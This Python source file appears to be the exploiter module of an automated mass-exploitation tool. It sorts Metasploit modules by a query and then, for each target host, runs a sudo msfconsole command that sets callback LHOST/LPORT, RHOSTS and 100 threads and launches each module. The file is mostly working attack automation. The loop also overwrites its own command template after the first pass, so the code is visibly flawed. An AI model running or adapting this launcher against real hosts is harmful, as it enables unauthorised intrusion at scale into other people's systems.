import lib.settings
import lib.output


class AutoSploitExploiter(object):

    sorted_modules = []

    def __init__(self, configuration, all_modules, hosts=None, **kwargs):
        self.hosts = hosts
        self.configuration = configuration
        self.mods = all_modules
        self.query = kwargs.get("query", lib.settings.QUERY_FILE_PATH)
        self.query_file = open(self.query).read()
        self.single = kwargs.get("single", None)
        self.ruby_exec = kwargs.get("ruby_exec", False)
        self.msf_path = kwargs.get("msf_path", None)

    def view_sorted(self):
        """
        view the modules that have been sorted by the relevance
        there is a chance this will display 0
        """
        for mod in self.sorted_modules:
            print(mod)

    def sort_modules_by_query(self):
        """
        sort modules by relevance after reading the query from the
        temp file
        """
        for mod in self.mods:
            if self.query_file.strip() in mod:
                self.sorted_modules.append(mod)
        return self.sorted_modules

    def start_exploit(self):
        """
        start the exploit, there is still no rollover but it's being worked
        """
        # TODO:/ fix the rollover issue here
        template = (
            "sudo {} {} -x 'workspace -a {}; "
            "setg LHOST {}; setg LPORT {}; setg VERBOSE "
            "true; setg THREADS 100; set RHOSTS {}; use {} -j;'"
        )
        for host in self.hosts:
            for mod in self.mods:
                lib.output.info(
                    "launching exploit '{}' against host '{}'".format(
                        mod.strip(), host.strip()
                    )
                )
                template = template.format(
                    "ruby" if self.ruby_exec else "",
                    self.msf_path if self.msf_path is not None else "msfconsole",
                    self.configuration[0], self.configuration[1], self.configuration[2],
                    host.strip(), mod.strip()
                )
                lib.settings.cmdline(template)
